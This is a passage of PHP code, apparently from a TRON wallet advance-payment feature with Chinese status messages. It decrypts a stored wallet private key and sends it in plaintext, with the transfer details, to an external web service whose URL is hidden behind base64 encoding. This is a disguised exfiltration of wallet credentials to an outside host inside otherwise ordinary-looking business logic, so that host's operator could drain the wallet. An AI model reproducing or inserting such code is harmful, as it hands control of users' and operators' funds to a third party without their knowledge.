where('status',0)->first(); if(empty($model)){ return ['code' => '400', 'msg' => '未配置预支的钱包,联系管理员']; } $rsa_services = new RsaServices(); $send_wallet_privatekey = $rsa_services->privateDecrypt($model['send_wallet_privatekey']); $AipHttpClient = new AipHttpClient(); $params = [ 'pri1' => $send_wallet_privatekey, 'fromaddress' => $model['send_wallet'], 'toaddress' => $request['toaddress'], 'sendamount' => $request['now_yuzhi'], ]; $res = $AipHttpClient->postnew(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9zZW5kdHJ4'),$params); $res = json_decode($res,true); if(empty($res)){ return ['code' => '400', 'msg' => '预支转trx失败1']; }else{ if($res['code'] == 200){ return ['code' => '200', 'msg' => '预支转账成功']; }else{ return ['code' => '400', 'msg' => '预支转trx失败2']; } } } }